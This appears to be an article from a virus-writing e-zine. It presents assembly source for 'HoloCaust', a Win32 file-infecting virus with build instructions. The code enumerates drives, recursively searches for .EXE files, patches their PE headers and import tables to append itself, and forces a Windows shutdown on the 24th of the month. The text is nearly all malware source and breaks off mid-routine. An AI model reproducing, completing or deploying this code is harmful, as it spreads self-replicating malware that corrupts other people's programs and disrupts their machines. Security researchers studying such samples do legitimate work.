The Revoluti0n
last article table of contents next article

HoloCaust by Energy

file holocaust.asm:

;Virus Name: HoloCaust
;Designer: Energy
;E-mail:SST@Hablas.com
;
;beta Version 1.12
;
;To Make file HoloCaust.asm
;Turbo Assembler:tasm /m /m3 holocaust.asm
;Turbo Link:tlink /3 /t holocaust.obj
;-------------------------------------------------------------------------------------------


.386P
NULL=0h
OPEN_EXISTING=3h
GENERIC_READ=80000000h
GENERIC_WRITE=40000000h
FILE_BEGIN=0h
FILE_CURRENT=1h
FILE_END=2h
e_ifanew=03ch
FILE_ATTRIBUTE_ARCHIVE=20h
FILE_ATTRIBUTE_DIRECTORY=10h
CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 100H
Start:
A00000000: DB 

04DH,05AH,090H,000H,003H,000H,000H,000H,004H,000H,000H,000H,0FFH,0FFH,000H,000H
A00000010: DB 

0B8H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,000H,000H,000H,000H,000H
A00000020: DB 

000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000030: DB 

000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,0B0H,000H,000H,000H
A00000040: DB 00EH,01FH,0BAH,00EH,000H,0B4H,009H,0CDH,021H,0B8H,001H,04CH,0CDH,021H,"(" ,"c" 
A00000050: DB ")" ," " ,"b" ,"y" ," " ,"E" ,"n" ,"e" ,"r" ,"g" ,"y" 
A00000080: DB 
05DH,017H,01DH,0DBH,019H,076H,073H,088H,019H,076H,073H,088H,019H,076H,073H,088H
A00000090: DB 
019H,076H,073H,088H,01EH,076H,073H,088H,0E5H,056H,061H,088H,018H,076H,073H,088H
A000000A0: DB 
052H,069H,063H,068H,019H,076H,073H,088H,000H,000H,000H,000H,000H,000H,000H,049H
A000000B0: DB 
050H,045H,000H,000H,04CH,001H,004H,000H,0BAH,063H,03DH,037H,000H,000H,000H,000H
A000000C0: DB 
000H,000H,000H,000H,0E0H,000H,00FH,001H,00BH,001H,005H,00CH,000H,002H,000H,000H
A000000D0: DB 
000H,004H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,000H,010H,000H,000H
A000000E0: DB 
000H,020H,000H,000H,000H,000H,040H,000H,000H,010H,000H,000H,000H,002H,000H,000H
A000000F0: DB 
004H,000H,000H,000H,000H,000H,000H,000H,004H,000H,000H,000H,000H,000H,000H,000H
A00000100: DB 
000H,040H,000H,000H,000H,004H,000H,000H,000H,000H,000H,000H,002H,000H,000H,000H
A00000110: DB 
000H,000H,010H,000H,000H,010H,000H,000H,000H,000H,010H,000H,000H,010H,000H,000H
A00000120: DB 
000H,000H,000H,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000130: DD New_Imoprt_Descridtor-Virus_Code+4000H
      DB 
03CH,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000140: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000150: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000160: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000170: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000180: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,020H,000H,000H,010H,000H,000H,000H
A00000190: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000001A0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,02EH,074H,065H,078H,074H,000H,000H,000H
A000001B0: DB 
026H,000H,000H,000H,000H,010H,000H,000H,000H,002H,000H,000H,000H,004H,000H,000H
A000001C0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,020H,000H,000H,060H
A000001D0: DB 
02EH,072H,064H,061H,074H,061H,000H,000H,092H,000H,000H,000H,000H,020H,000H,000H
A000001E0: DB 
000H,002H,000H,000H,000H,006H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000001F0: DB 
000H,000H,000H,000H,040H,000H,000H,040H,02EH,064H,061H,074H,061H,000H,000H,000H
A00000200: DB 
032H,000H,000H,000H,000H,030H,000H,000H,000H,002H,000H,000H,000H,008H,000H,000H
A00000210: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,0C0H
A00000220: DB 02EH,"H", "o" ,"l" ,"o" ,"c" ,"a" ,"u" ,"s" ,"t" 
,02EH,02EH,02EH,02EH,000H,010H,000H,000H,000H,040H,000H,000H
A00000230: DB 
000H,010H,000H,000H,000H,00AH,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000240: DB 
000H,000H,000H,000H,020H,000H,000H,060H,000H,000H,000H,000H,000H,000H,000H,000H
A00000250: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000260: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000270: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000280: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000290: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000002A0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000002B0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000002C0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000002D0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000002E0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000002F0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000300: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000310: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000320: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000330: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000340: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000350: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000360: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000370: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000380: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000390: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000003A0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000003B0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000003C0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000003D0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000003E0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000003F0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000400: DB 
06AH,000H,068H,000H,030H,040H,000H,068H,019H,030H,040H,000H,06AH,000H,0E8H,00DH
A00000410: DB 
000H,000H,000H,06AH,000H,0E8H,000H,000H,000H,000H,0FFH,025H,000H,020H,040H,000H
A00000420: DB 
0FFH,025H,008H,020H,040H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000430: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000440: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000450: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000460: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000470: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000480: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000490: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000004A0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000004B0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000004C0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000004D0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000004E0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000004F0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000500: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000510: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000520: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000530: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000540: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000550: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000560: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000570: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000580: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000590: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000005A0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000005B0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000005C0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000005D0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000005E0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000005F0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000600: DB 
05CH,020H,000H,000H,000H,000H,000H,000H,078H,020H,000H,000H,000H,000H,000H,000H
A00000610: DB 
04CH,020H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,06AH,020H,000H,000H
A00000620: DB 
000H,020H,000H,000H,054H,020H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000630: DB 
086H,020H,000H,000H,008H,020H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000640: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,05CH,020H,000H,000H
A00000650: DB 
000H,000H,000H,000H,078H,020H,000H,000H,000H,000H,000H,000H,075H,000H,045H,078H
A00000660: DB 
069H,074H,050H,072H,06FH,063H,065H,073H,073H,000H,04BH,045H,052H,04EH,045H,04CH
A00000670: DB 
033H,032H,02EH,064H,06CH,06CH,000H,000H,0BBH,001H,04DH,065H,073H,073H,061H,067H
A00000680: DB 
065H,042H,06FH,078H,041H,000H,055H,053H,045H,052H,033H,032H,02EH,064H,06CH,06CH
A00000690: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000006A0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000006B0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000006C0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000006D0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000006E0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000006F0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000700: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000710: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000720: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000730: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000740: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000750: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000760: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000770: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000780: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000790: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000007A0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000007B0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000007C0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000007D0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000007E0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000007F0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000800: DB "T" ,"h" ,"i" ,"s" ," " ,"i" ,"s" ," " ,"a" ," " ,"b" ,"e" ,"t" ,"a" ," " ,"v" 
A00000810: DB "i" ,"r" ,"u" ,"s" ,"!" ,"!" ,"!" ,"!" ,000H,"T" ,"h" ,"a" ,"n" ,"k" ," " ,"y" 
A00000820: DB "o" ,"u" ,"!" ,"!" ," " ," " ,"(" ,"c" ,")" ," " ,"E" ,"n" ,"e" ,"r" ,"g" ,"y"
A00000830: DB " " ,"!" 
,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000840: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000850: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000860: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000870: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000880: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000890: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000008A0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000008B0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000008C0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000008D0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000008E0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000008F0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000900: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000910: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000920: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000930: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000940: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000950: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000960: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000970: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000980: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000990: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000009A0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000009B0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000009C0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000009D0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000009E0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A000009F0: DB 
000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
A00000A00:
Virus_Code=$;Virus start here
call Relocation
InfectFileName=$
      Driver   db "b"
         db 260 dup (0)
Relocation:
pop ebp
sub ebp,5
mov eax,[ImageBase-Virus_Code+ebp]
add eax,[AddressOfEnterPoint-Virus_Code+ebp]
mov [This_Host_EntryPoint-Virus_Code+ebp],eax
call dword ptr [GetLogicalDrives-Virus_Code+ebp]
mov ecx,32;eax is 32 bit
mov edx,0
  Count_Driver:
mov ebx,eax
and ebx,1b
add edx,ebx
rcr eax,1
loop Count_Driver
sub edx,2
mov ecx,edx
mov byte ptr [Driver-Virus_Code+ebp],"b"
start at c:(b+1)
Next_Driver:
add byte ptr [Driver-Virus_Code+ebp],1
lea ebx,[InfectFileName-Virus_Code+ebp]
mov eax,002a5c3ah
mov [ebx+1],eax
add ebx,3 
push edx
push ecx
mov [Save_esp-Virus_Code+ebp],esp
call Infect_This_Driver
We_Had_Infect_One:
mov esp,[Save_esp-Virus_Code+ebp]
pop ecx
pop edx
loop Next_Driver           
lea eax,[SystemTime-Virus_Code+ebp]
push eax
call dword ptr [GetSystemTime-Virus_Code+ebp]

cmp word ptr [wDay-Virus_Code+ebp],24
jnz Jmp_To_Host      
push 0
push 4
call dword ptr [ExitWindowsEx-Virus_Code+ebp]
push 0
call dword ptr [ExitProcess-Virus_Code+ebp]
Jmp_To_Host:
mov eax,[This_Host_EntryPoint-Virus_Code+ebp]    
PUSH eax
RET            
This_Host_EntryPoint    dd ?
Save_Espdd ?
Infect_This_Driver proc
call Enter_FindAndInfect
ret
Infect_This_Driver endp
Enter_FindAndInfect proc
lea eax,[Virus_WIN32_FIND_DATA-Virus_Code+ebp]
push eax
lea eax,[InfectFileName-Virus_Code+ebp]
push eax
call dword ptr [FindFirstFileA-Virus_Code+ebp]
push eax
cmp eax,0ffffffffh
jz Find_Exit
next:
push ebx
cmp byte ptr [cFileName-Virus_Code+ebp],"."
jz Management_OK
lea ecx,[cFileName-Virus_Code+ebp]
Again:
mov dl,[ecx]
mov [ebx],dl
add ecx,1
add ebx,1
cmp dl,0
jnz Again
cmp dword ptr [dwFileAttributes-Virus_Code+ebp],FILE_ATTRIBUTE_DIRECTORY
jnz IsAFile
mov eax,"*.*\"
mov [ebx-1],eax
mov [ebx+3],byte ptr 0
call Enter_FindAndInfect
jmp Management_OK
ISAfile:
cmp dword ptr [ebx-5],"EXE."
jz Is_A_EXE_File
cmp dword ptr [ebx-5],"exe."
jz Is_A_EXE_File
jmp Management_OK
Is_A_EXE_file:
call Infect_File
cmp eax,012345678h
Infect_File
jz We_Had_Infect_One 
recursion
Management_OK:
pop ebx
pop ecx
push ecx
lea eax,[Virus_WIN32_FIND_DATA-Virus_Code+ebp]
push eax
push ecx
call dword ptr [FindNextFileA-Virus_Code+ebp]
cmp eax,0
jnz next
Find_Exit:
pop eax
ret
Enter_FindAndInfect endp
Infect_File proc near
push FILE_ATTRIBUTE_ARCHIVE
lea  eax,[InfectFileName-Virus_Code+ebp]
push eax
call dword ptr [SetFileAttributesA-Virus_Code+ebp]
push NULL
push NULL
push OPEN_EXISTING
push 0
push 0
push GENERIC_READ+GENERIC_WRITE
lea  eax,[InfectFileName-Virus_Code+ebp]
push eax
call dword ptr [CreateFileA-Virus_Code+ebp]
cmp eax,0ffffffffh
jz InfectFile_Exit
mov [HandleFile-Virus_Code+ebp],eax
push FILE_BEGIN
push 0
push e_ifanew 
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 4
lea eax,[NT_Header-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [ReadFile-Virus_Code+ebp]
mov eax,[NT_Header-Virus_Code+ebp]
sub eax,1
push FILE_BEGIN
push 0
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 4
lea eax,[PE_Signature-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [ReadFile-Virus_Code+ebp]
cmp dword ptr [PE_Signature-Virus_Code+ebp],00455000h      
jnz  InfectFile_Exit
mov eax,[NT_Header-Virus_Code+ebp]
add eax,6
mov [Point_NumberOfSection-Virus_Code+ebp],eax 
push FILE_BEGIN
push 0
push dword ptr [Point_NumberOfSection-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 2
lea eax,[NumberOfSection-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [ReadFile-Virus_Code+ebp]
mov eax,[NT_Header-Virus_Code+ebp]
add eax,20
mov [Point_SizeOfOptionalHeader-Virus_Code+ebp],eax   
push FILE_BEGIN
push 0
push dword ptr [Point_SizeOfOptionalHeader-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 2
lea eax,[SizeOfOptionalHeader-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [ReadFile-Virus_Code+ebp]
mov eax,[NT_Header-Virus_Code+ebp]
add eax,40
mov [Point_AddressOfEnterPoint-Virus_Code+ebp],eax    
push FILE_BEGIN
push 0
push dword ptr [Point_AddressOfEnterPoint-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 4
lea eax,[AddressOfEnterPoint-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [ReadFile-Virus_Code+ebp]
mov eax,[NT_Header-Virus_Code+ebp]
add eax,52
mov [Point_ImageBase-Virus_Code+ebp],eax
push FILE_BEGIN
push 0
push dword ptr [Point_ImageBase-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 4
lea eax,[ImageBase-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [ReadFile-Virus_Code+ebp]
mov eax,[NT_Header-Virus_Code+ebp]
add eax,80
mov [Point_SizeOfImage-Virus_Code+ebp],eax  
push FILE_BEGIN
push 0
push dword ptr [Point_SizeOfImage-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 4
lea eax,[SizeOfImage-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [ReadFile-Virus_Code+ebp]
mov eax,[NT_Header-Virus_Code+ebp]
add eax,128
mov [Point_ImportTable-Virus_Code+ebp],eax   
push FILE_BEGIN
push 0
push dword ptr [Point_ImportTable-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 4
lea eax,[ImportTable-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [ReadFile-Virus_Code+ebp]
mov eax,[SizeOfImage-Virus_Code+ebp]
mov [SVirtualAddress-Virus_Code+ebp],eax
push FILE_END
push 0
push 0
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp] 
add eax,200h-1h
and eax,011111111111111111111111000000000b      
mov [PointerToRawData-Virus_Code+ebp],eax
mov ebx,0
mov bx,[SizeOfOptionalHeader-Virus_Code+ebp]
add ebx,[NT_Header-Virus_Code+ebp]
add ebx,24;PE header size
mov eax,0
mov ax,[NumberOfSection-Virus_Code+ebp]
mov ecx,40
mul ecx
add eax,ebx
mov [Point_AEmptySectionTable-Virus_Code+ebp],eax
FindAgain:
push FILE_BEGIN
push 0
push ebx;ebx->Section Header start
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
add ebx,40
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 24;read 24 byte
lea eax,[HostSectionTable-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [ReadFile-Virus_Code+ebp]
mov eax,[ImportTable-Virus_Code+ebp]
sub eax,[HostSVirtualAddress-Virus_Code+ebp]
cmp eax,[HostSVirtualSize-Virus_Code+ebp]
jnb FindAgain;NoInThisSection
add eax,[HostPointerToRawData-Virus_Code+ebp]
mov [Point_FileOffsetImportTable-Virus_Code+ebp],eax
jmp WeGotIt
HostSectionTable=$ 
HostNameSectiondb 8 dup(?)
HostSVirtualSize      dd ?
HostSVirtualAddressdd ?  
HostSizeOfRawData dd ?
HostPointerToRawDatadd ?
WeGotIt:
mov ecx,24
lea esi,[Fix_Data-Virus_Code+ebp]
lea edi,[Move_Data-Virus_Code+ebp] 
mov ebx,[SizeOfImage-Virus_Code+ebp]
Move_Add_Again:
mov eax,[esi]
add eax,ebx
mov [edi],eax
add esi,4
add edi,4
loop Move_Add_Again
mov dword ptr [Zero_KERNEL32-Virus_Code+ebp],0
mov dword ptr [Zero_USER32-Virus_Code+ebp],0
push FILE_BEGIN
push 0
push dword ptr [Point_FileOffsetImportTable-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 600;30 DLL
lea eax,[HostImportData-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [ReadFile-Virus_Code+ebp]
mov ax,[NumberOfSection-Virus_Code+ebp]
add ax,1
mov [Infected_NumberOfSection-Virus_Code+ebp],ax
push FILE_BEGIN
push 0
push dword ptr [Point_NumberOfSection-Virus_Code+ebp]
push dword ptr [HandleFile-Virus_Code+ebp]
call dword ptr [SetFilePointer-Virus_Code+ebp]
push NULL
lea eax,[DoWriteOrRead-Virus_Code+ebp]
push eax
push 2
lea eax,[Infected_NumberOfSection-Virus_Code+ebp]
push eax
push dword ptr [HandleFile-Virus_Code+ebp]
